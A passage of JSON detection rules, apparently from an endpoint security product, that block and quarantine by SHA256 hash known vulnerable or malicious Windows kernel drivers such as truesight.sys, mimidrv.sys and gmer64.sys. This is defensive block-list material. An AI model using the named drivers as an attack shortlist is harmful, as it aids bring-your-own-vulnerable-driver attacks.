+  "creation_date": "2026-03-23T11:45:31.493971Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493979Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b023404cb64ca532643fa25c600890f00fbfe3449ce1d0f103492318febfce27",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "825d584e-3027-5d05-8aca-a26f78c71a3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815787Z",
+  "creation_date": "2026-03-23T11:45:31.815791Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815799Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7e83096a0dcb5fecc798c4e0aac70c9bfa05801fdb75c723d7a539652837db8f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8269a3b1-365e-5497-8571-40e7d72a4717",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.823792Z",
+  "creation_date": "2026-03-23T11:45:31.823795Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.823804Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ea0f17275cd9620f94b482035cdf441a164771c997e84c0a997cfb48cb5db158",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "826b79d6-0b83-50a3-b474-5c79625b1b68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813985Z",
+  "creation_date": "2026-03-23T11:45:31.813988Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813997Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5bfa6720e5972521751dd96257bb2e9d6bb264084dab8b6467dcb5710299c807",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "826f81b1-1f94-585c-adc3-dd28280fceb0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.149478Z",
+  "creation_date": "2026-03-23T11:45:31.149482Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.149491Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f838aec60dd23e9c02812dfd8dd0c2648cba2f5b8c2f8b289e5bb6a08f196dda",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82721302-e015-509c-a6d2-b551d9cfdca9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.478074Z",
+  "creation_date": "2026-03-23T11:45:30.478078Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.478087Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c155197986db77be55716c49262ac009aefce647dae68268a2b9c7a7fd97c7a0",
+  "comment": "Vulnerable Kernel Driver (aka elbycdio.sys) [https://www.loldrivers.io/drivers/855ade1f-8a9e-4c9d-ab8e-d7e409609852/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82742b7a-c6fa-5bb3-a8ae-8bcee41e5c1e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141059Z",
+  "creation_date": "2026-03-23T11:45:31.141062Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141067Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f41b603a0aa3b477d30afc420f72c3db16a18f8786422560f7eb632d1482d805",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "827e9cee-160f-51ce-a190-91ad08d35c87",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148774Z",
+  "creation_date": "2026-03-23T11:45:31.148776Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148781Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b02e0b4f09877897346b28501466e4dec0393127646021e0a816ac39618c5317",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8285f53d-3cf5-5e68-bf1f-7b1d6a1e432d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811489Z",
+  "creation_date": "2026-03-23T11:45:31.811491Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811496Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4a0149b64218c927cba80d302e6db403e9b4c6cbacb905070ff451303b7d26b5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8287b07b-56f0-5c4c-8d78-25491841c815",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828755Z",
+  "creation_date": "2026-03-23T11:45:30.828757Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828763Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f3935e0f74dd7996d9fd900eb7fb167ab301a00c6c9f9034428ee8b6a65502f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "828f1d9e-9fbb-5944-bf12-1693491d7ca4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.151918Z",
+  "creation_date": "2026-03-23T11:45:31.151921Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.151930Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1ced1f634e780e4fef2f9b06268d8142207ca4294bbab677a923ec091f3baa3c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "8293ebec-d168-59ca-bee7-f5c86dc906d4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.835322Z",
+  "creation_date": "2026-03-23T11:45:30.835325Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.835333Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "208146a5e37dabdc40c022a8adcf6d95861e5e651a037998b7fe505d0b46c178",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "829c81aa-6265-51ca-bc89-d3411ff74334",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617041Z",
+  "creation_date": "2026-03-23T11:45:29.617043Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af20c1b4eb703083979e6f4e211327495f7a0a27ace9a52bd22dd3737be7a8b1",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82a14366-d713-5b46-a9f3-df5ca98f8fc3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.476831Z",
+  "creation_date": "2026-03-23T11:45:30.476835Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.476844Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6429f89dd7e9f8f7784736b6d3471be3c480d4eb4c9a573c698ede1dd64f5010",
+  "comment": "Vulnerable Kernel Driver (aka libnicm.sys) [https://www.loldrivers.io/drivers/2b949a0d-939f-456a-a34f-4589d7712227/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82a30800-b664-5b16-ba42-37bd938f6668",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.472620Z",
+  "creation_date": "2026-03-23T11:45:30.472624Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.472640Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b738eab6f3e32cec59d5f53c12f13862429d3db6756212bbcd78ba4b4dbc234c",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82a910b2-1f2a-54fa-9631-0733d790c7a5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.464368Z",
+  "creation_date": "2026-03-23T11:45:30.464372Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.464381Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "29348ebe12d872c5f40e316a0043f7e5babe583374487345a79bad0ba93fbdfe",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82a9226d-d49b-5a39-841d-7a8fa487b92e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.980803Z",
+  "creation_date": "2026-03-23T11:45:29.980805Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.980810Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f85cca4badff17d1aa90752153ccec77a68ad282b69e3985fdc4743eaea85004",
+  "comment": "Vulnerable Kernel Driver (aka IObitUnlocker.sys) [https://www.loldrivers.io/drivers/4bf4b425-10af-4cd4-88e6-beb4b947eb48/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82ad7062-e6bf-5162-9aa8-576b401e2f4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978738Z",
+  "creation_date": "2026-03-23T11:45:29.978740Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978746Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18c909a2b8c5e16821d6ef908f56881aa0ecceeaccb5fa1e54995935fcfd12f7",
+  "comment": "Malicious Kernel Driver (aka gmer64.sys) [https://www.loldrivers.io/drivers/7ce8fb06-46eb-4f4f-90d5-5518a6561f15/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82b7cda4-6ea1-5485-b5ae-7f8e65a772ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985286Z",
+  "creation_date": "2026-03-23T11:45:29.985288Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985294Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a97e5c6cd926fa47ab1a69963169223cc669bd654a2f128165ba4ebe1d08bd17",
+  "comment": "Dangerous Physmem Kernel Driver (aka HwRwDrv.Sys) [https://www.loldrivers.io/drivers/e4609b54-cb25-4433-a75a-7a17f43cec00/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82c51088-f701-5369-83cd-e66b7d6c03cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145169Z",
+  "creation_date": "2026-03-23T11:45:32.145171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145177Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3768122b8ab7a518d3717cabdfdd7d9592ec986b3f85d40064fdf99c6f569f6b",
+  "comment": "Malicious Kernel Driver (aka driver_5c308aed.sys) [https://www.loldrivers.io/drivers/647f72e7-f378-4908-946c-5e45fab448e8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82d2ec3d-2beb-5a76-873b-26fd584267ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490782Z",
+  "creation_date": "2026-03-23T11:45:31.490784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490789Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f4083b4353135cd29fbc32d2ecd1df91f86f667c93ddae3393158f6a126e98f4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82d48878-dd67-501a-9a35-28f360c758d5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468016Z",
+  "creation_date": "2026-03-23T11:45:30.468019Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468029Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2b0d70e2d55a5f69ddaac13460cfcd63746ac1c09f826772cca5b857dde240a",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "82d5e3f6-c043-55bb-9f82-dcb528f2e191",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982104Z",
+  "creation_date": "2026-03-23T11:45:29.982106Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982111Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3279593db91bb7ad5b489a01808c645eafafda6cc9c39f50d10ccc30203f2ddf",
